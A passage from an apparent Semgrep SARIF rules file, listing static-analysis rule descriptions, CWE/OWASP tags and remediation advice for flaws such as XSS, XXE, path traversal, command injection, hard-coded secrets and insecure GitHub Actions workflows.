scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI."},"help":{"markdown":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.var-in-script-tag.var-in-script-tag)\n - [https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough](https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough)\n - [https://github.com/ESAPI/owasp-esapi-js](https://github.com/ESAPI/owasp-esapi-js)\n","text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.var-in-script-tag.var-in-script-tag","id":"javascript.express.security.audit.xss.ejs.var-in-script-tag.var-in-script-tag","name":"javascript.express.security.audit.xss.ejs.var-in-script-tag.var-in-script-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.ejs.var-in-script-tag.var-in-script-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This GitHub Actions workflow file uses `pull_request_target` and checks out code from the incoming pull request. When using `pull_request_target`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations."},"help":{"markdown":"This GitHub Actions workflow file uses `pull_request_target` and checks out code from the incoming pull request. When using `pull_request_target`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.pull-request-target-code-checkout.pull-request-target-code-checkout)\n - [https://securitylab.github.com/research/github-actions-preventing-pwn-requests/](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)\n - [https://github.com/justinsteven/advisories/blob/master/2021_github_actions_checkspelling_token_leak_via_advice_symlink.md](https://github.com/justinsteven/advisories/blob/master/2021_github_actions_checkspelling_token_leak_via_advice_symlink.md)\n","text":"This GitHub Actions workflow file uses `pull_request_target` and checks out code from the incoming pull request. When using `pull_request_target`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.pull-request-target-code-checkout.pull-request-target-code-checkout","id":"yaml.github-actions.security.pull-request-target-code-checkout.pull-request-target-code-checkout","name":"yaml.github-actions.security.pull-request-target-code-checkout.pull-request-target-code-checkout","properties":{"precision":"very-high","tags":["CWE-913: Improper Control of Dynamically-Managed Code Resources","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.pull-request-target-code-checkout.pull-request-target-code-checkout"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.xml.tainted-django-xml-lxml.tainted-django-xml-lxml)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx](https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx)\n - [https://lxml.de/parsing.html](https://lxml.de/parsing.html)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.django.xml.tainted-django-xml-lxml.tainted-django-xml-lxml","id":"python.django.xml.tainted-django-xml-lxml.tainted-django-xml-lxml","name":"python.django.xml.tainted-django-xml-lxml.tainted-django-xml-lxml","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.xml.tainted-django-xml-lxml.tainted-django-xml-lxml"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration does not leverage the Certificate Transparency option. By opting in for Certificate Transparency (CT), rogue CA or compromised CA issued certificates may be identified and blocked, creating a more reliably secure TLS channel."},"help":{"markdown":"The application's App Transport Security (ATS) configuration does not leverage the Certificate Transparency option. By opting in for Certificate Transparency (CT), rogue CA or compromised CA issued certificates may be identified and blocked, creating a more reliably secure TLS channel.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-ct.ATS-consider-ct)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n - [https://certificate.transparency.dev/](https://certificate.transparency.dev/)\n","text":"The application's App Transport Security (ATS) configuration does not leverage the Certificate Transparency option. By opting in for Certificate Transparency (CT), rogue CA or compromised CA issued certificates may be identified and blocked, creating a more reliably secure TLS channel."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-ct.ATS-consider-ct","id":"swift.insecure-communication.ats.ats-ct.ATS-consider-ct","name":"swift.insecure-communication.ats.ats-ct.ATS-consider-ct","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","HIGH CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-ct.ATS-consider-ct"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-fs-django.tainted-path-traversal-fs-django)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-fs-django.tainted-path-traversal-fs-django","id":"python.django.file.tainted-path-traversal-fs-django.tainted-path-traversal-fs-django","name":"python.django.file.tainted-path-traversal-fs-django.tainted-path-traversal-fs-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-fs-django.tainted-path-traversal-fs-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.gorilla.gorilla-csrf-hardcoded-auth-key.gorilla-csrf-hardcoded-auth-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.gorilla.gorilla-csrf-hardcoded-auth-key.gorilla-csrf-hardcoded-auth-key","id":"go.secrets.gorilla.gorilla-csrf-hardcoded-auth-key.gorilla-csrf-hardcoded-auth-key","name":"go.secrets.gorilla.gorilla-csrf-hardcoded-auth-key.gorilla-csrf-hardcoded-auth-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.gorilla.gorilla-csrf-hardcoded-auth-key.gorilla-csrf-hardcoded-auth-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability."},"help":{"markdown":"Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-system-call.dangerous-system-call)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-system-call.dangerous-system-call","id":"python.lang.security.dangerous-system-call.dangerous-system-call","name":"python.lang.security.dangerous-system-call.dangerous-system-call","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-system-call.dangerous-system-call"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","id":"kotlin.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","name":"kotlin.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure S3 object copies are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure S3 object copies are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-s3-object-copy-encrypted-with-cmk.aws-s3-object-copy-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure S3 object copies are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-s3-object-copy-encrypted-with-cmk.aws-s3-object-copy-encrypted-with-cmk","id":"terraform.aws.security.aws-s3-object-copy-encrypted-with-cmk.aws-s3-object-copy-encrypted-with-cmk","name":"terraform.aws.security.aws-s3-object-copy-encrypted-with-cmk.aws-s3-object-copy-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-s3-object-copy-encrypted-with-cmk.aws-s3-object-copy-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.file.fs-extra-express.fs-extra-express)\n - [https://github.com/jprichardson/node-fs-extra/tree/master](https://github.com/jprichardson/node-fs-extra/tree/master)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/javascript.express.file.fs-extra-express.fs-extra-express","id":"javascript.express.file.fs-extra-express.fs-extra-express","name":"javascript.express.file.fs-extra-express.fs-extra-express","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.file.fs-extra-express.fs-extra-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY."},"help":{"markdown":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.ecb-cipher.ecb-cipher)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.ecb-cipher.ecb-cipher","id":"kotlin.lang.security.ecb-cipher.ecb-cipher","name":"kotlin.lang.security.ecb-cipher.ecb-cipher","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.ecb-cipher.ecb-cipher"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found '$SPAWN' with '{shell: $SHELL}'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use '{shell: false}' instead."},"help":{"markdown":"Found '$SPAWN' with '{shell: $SHELL}'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use '{shell: false}' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.spawn-shell-true.spawn-shell-true)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found '$SPAWN' with '{shell: $SHELL}'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use '{shell: false}' instead."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.spawn-shell-true.spawn-shell-true","id":"javascript.lang.security.audit.spawn-shell-true.spawn-shell-true","name":"javascript.lang.security.audit.spawn-shell-true.spawn-shell-true","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.spawn-shell-true.spawn-shell-true"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'open_in' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_in_bin' or 'open_in_gen [Open_binary]'. If you really want CRLF-to-LF translations to take place when running on Windows, use 'open_in_gen [Open_text]'."},"help":{"markdown":"'open_in' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_in_bin' or 'open_in_gen [Open_binary]'. If you really want CRLF-to-LF translations to take place when running on Windows, use 'open_in_gen [Open_text]'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.portability.crlf-support.prefer-read-in-binary-mode)\n","text":"'open_in' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_in_bin' or 'open_in_gen [Open_binary]'. If you really want CRLF-to-LF translations to take place when running on Windows, use 'open_in_gen [Open_text]'."},"helpUri":"https://semgrep.dev/r/ocaml.lang.portability.crlf-support.prefer-read-in-binary-mode","id":"ocaml.lang.portability.crlf-support.prefer-read-in-binary-mode","name":"ocaml.lang.portability.crlf-support.prefer-read-in-binary-mode","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.portability.crlf-support.prefer-read-in-binary-mode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Transfer Server endpoint type should not have public or null configured in order to block public access. To fix this, set your `endpoint_type` to `\"VPC\"`."},"help":{"markdown":"Transfer Server endpoint type should not have public or null configured in order to block public access. To fix this, set your `endpoint_type` to `\"VPC\"`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-transfer-server-is-public.aws-transfer-server-is-public)\n - 